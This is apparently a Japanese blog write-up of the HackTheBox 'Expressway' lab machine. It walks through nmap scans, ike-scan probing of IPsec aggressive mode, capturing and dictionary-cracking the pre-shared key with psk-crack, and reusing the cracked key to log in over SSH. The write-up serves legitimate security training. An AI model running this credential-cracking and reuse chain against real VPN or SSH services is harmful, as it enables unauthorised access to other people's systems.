【HackTheBox】Writeup for Expressway

Nmap TCPスキャン

$ sudo nmap 10.10.11.87 -p- -sV -vv --open --reason
Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-10 08:28 -0600
NSE: Loaded 48 scripts for scanning.
Initiating Ping Scan at 08:28
Scanning 10.10.11.87 [4 ports]
Completed Ping Scan at 08:28, 0.22s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 08:28
Completed Parallel DNS resolution of 1 host. at 08:28, 0.50s elapsed
Initiating SYN Stealth Scan at 08:28
Scanning 10.10.11.87 [65535 ports]
Discovered open port 22/tcp on 10.10.11.87
SYN Stealth Scan Timing: About 47.60% done; ETC: 08:30 (0:00:34 remaining)
Completed SYN Stealth Scan at 08:30, 99.80s elapsed (65535 total ports)
Initiating Service scan at 08:30
Scanning 1 service on 10.10.11.87
Completed Service scan at 08:30, 0.40s elapsed (1 service on 1 host)
NSE: Script scanning 10.10.11.87.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 08:30
Completed NSE at 08:30, 0.00s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 08:30
Completed NSE at 08:30, 0.00s elapsed
Nmap scan report for 10.10.11.87
Host is up, received echo-reply ttl 63 (0.19s latency).
Scanned at 2026-01-10 08:28:58 CST for 101s
Not shown: 63099 closed tcp ports (reset), 2435 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 10.0p2 Debian 8 (protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 101.17 seconds
           Raw packets sent: 73735 (3.244MB) | Rcvd: 68115 (2.725MB)

Nmap UDPスキャン

スキャンの結果500/udpがOpenでした

$ sudo nmap 10.10.11.87  -sU -vv --open --reason 
Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-10 08:33 -0600
Initiating Ping Scan at 08:33
Scanning 10.10.11.87 [4 ports]
Completed Ping Scan at 08:33, 0.21s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 08:33
Completed Parallel DNS resolution of 1 host. at 08:33, 0.50s elapsed
Initiating UDP Scan at 08:33
Scanning 10.10.11.87 [1000 ports]
Completed UDP Scan at 09:00, 1624.82s elapsed (1000 total ports)
Nmap scan report for 10.10.11.87
Host is up, received echo-reply ttl 63 (0.19s latency).
Scanned at 2026-01-10 08:33:05 CST for 1625s
Not shown: 983 closed udp ports (port-unreach)
PORT      STATE         SERVICE        REASON
49/udp    open|filtered tacacs         no-response
68/udp    open|filtered dhcpc          no-response
69/udp    open|filtered tftp           no-response
500/udp   open          isakmp         udp-response ttl 63
517/udp   open|filtered talk           no-response
838/udp   open|filtered unknown        no-response
1007/udp  open|filtered unknown        no-response
1012/udp  open|filtered sometimes-rpc1 no-response
1013/udp  open|filtered unknown        no-response
4500/udp  open|filtered nat-t-ike      no-response
5555/udp  open|filtered rplay          no-response
16503/udp open|filtered unknown        no-response
16947/udp open|filtered unknown        no-response
17018/udp open|filtered unknown        no-response
22692/udp open|filtered unknown        no-response
55043/udp open|filtered unknown        no-response
61142/udp open|filtered unknown        no-response

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 1625.63 seconds
           Raw packets sent: 1373 (63.317KB) | Rcvd: 1073 (80.969KB)
                                                                      

IPsec

500/UDPはIPsec(インターネットプロトコルセキュリティ)通信において、鍵交換プロトコルISAKMP(IKE)が使用するポート番号だと思われます。

ike-scanというツールを利用して情報を調べることができます

ike-scan

以下のコマンドはIPsecがアグレッシブモードで動作していることを確認しています。

$ sudo ike-scan -A 10.10.11.87                                           
Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.10.11.87     Aggressive Mode Handshake returned HDR=(CKY-R=07785412ed3e032e) SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) KeyExchange(128 bytes) Nonce(32 bytes) ID(Type=ID_USER_FQDN, [email protected]) VID=09002689dfd6b712 (XAUTH) VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0) Hash(20 bytes)

Ending ike-scan 1.9.6: 1 hosts scanned in 0.325 seconds (3.08 hosts/sec).  1 returned handshake; 0 returned notify
                                                                                                                    

通常、VPN の接続確立(フェーズ 1)には「メインモード」と「アグレッシブモード」の 2 種類があります。

メインモードが 6 つのパケットを使って慎重に通信を確立するのに対し、アグレッシブモードはわずか 3 つのパケットで済ませます。その過程で、以下のようなセキュリティ上の弱点が露呈することがあります。

  1. PSK(事前共有鍵)の露出: アグレッシブモードでは、認証のためのハッシュ値が暗号化される前に送信されます。これを傍受すれば、オフラインでパスワードを推測(ブルートフォース攻撃)されるリスクがあります。
  2. 情報漏洩: 先ほどの実行結果で見られたように、ユーザー ID([email protected])やベンダー情報(VID)が容易に取得できてしまいます。

PSKハッシュについては、以下のコマンドで取得することが可能です。-Pオプションを使うことでハッシュをファイルに出力することができます

$ sudo ike-scan -A 10.10.11.87 -Ppsk.txt                      
Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.10.11.87     Aggressive Mode Handshake returned HDR=(CKY-R=2d75c420400b5c19) SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) KeyExchange(128 bytes) Nonce(32 bytes) ID(Type=ID_USER_FQDN, [email protected]) VID=09002689dfd6b712 (XAUTH) VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0) Hash(20 bytes)

Ending ike-scan 1.9.6: 1 hosts scanned in 1.203 seconds (0.83 hosts/sec).  1 returned handshake; 0 returned notify
                                                                                                                    

SA=(...) の部分は、ターゲットがどのようなアルゴリズムを使用しているかを示しています。

  • Enc=3DES: 暗号化に 3DES を使用しています(現代では強度が低いとされています)。
  • Hash=SHA1: ハッシュ関数に SHA1 を使用しています(これも古い規格です)。
  • Auth=PSK: 認証に Pre-Shared Key(事前共有鍵) を使用しています。
  • Group=2:modp1024: Diffie-Hellman 鍵共有のグループ 2 を使用しています。

ID(Type=ID_USER_FQDN, [email protected])

ターゲット側で設定されている ID が [email protected] であることが判明しました。

psk.txtに書き込まれたハッシュは以下の通りでした

d926c8642275bc5db440691a54ac5908cbc27611c31067a5bd0bb7ce14d52353160829d9ea6f90b33b180c56fd7b7de1959124b0308c85ec2270703ac2ed1afddd400bfd63641902e1ada8b3e2190cdf5b65f0162a3f98553da5615ab1de7446613fe650a3992be3dfa9541b498b0e707bffd67e5cb0bef190903ae781e395eb:d6547187a8e596652281724fa7e59cb05b6555da6c63f3c9a62da29e430abf35c6476948b686cfba377aa4e7eb443a475b157926f467a26436d82368aa28465e4552e4aa69cb051503ba16ab027fbdded851992c496bc69cffb3a47244e95060567b0d6eeb6f91db4e0337a0f611df09a8d9ea8bc39f0b98cc311fc91584f710:2d75c420400b5c19:9a841187726fbdb9:00000001000000010000009801010004030000240101000080010005800200028003000180040002800b0001000c000400007080030000240201000080010005800200018003000180040002800b0001000c000400007080030000240301000080010001800200028003000180040002800b0001000c000400007080000000240401000080010001800200018003000180040002800b0001000c000400007080:03000000696b6540657870726573737761792e687462:60b814fef8ed15d88863322b486a046bd5fd227c:f513ebcc299e308cd4b9c8e1e74879dd2d6ec6f84978d943d103ff3af020166b:09fc52a0a4317a0b92cd46b2eb448afeb7670074

取得したハッシュからPSKを導き出すためには、psk-crackコマンドを利用します

今回は、rockyou.txtの辞書を利用してpskを求めたところkeyが「freakingrockstarontheroad」であることがわかりました

$ psk-crack -d /usr/share/wordlists/rockyou.txt psk.txt             
Starting psk-crack [ike-scan 1.9.6] (http://www.nta-monitor.com/tools/ike-scan/)
Running in dictionary cracking mode
key "freakingrockstarontheroad" matches SHA1 hash 09fc52a0a4317a0b92cd46b2eb448afeb7670074
Ending psk-crack: 8045040 iterations in 5.500 seconds (1462695.72 iterations/sec)
                                                                                   

ユーザフラグ取得

NmapのTCPではSSHがOpenであったため、現在わかる情報でユーザが「ike」,PSKが「freakingrockstarontheroad」であることから

sshのユーザにikeがいる可能性があり、パスワードも同様の可能性があります。ので一回SSHで接続を試したところログインができました。

ディレクトリ直下にuser.txtのファイルがありました

コメント

タイトルとURLをコピーしました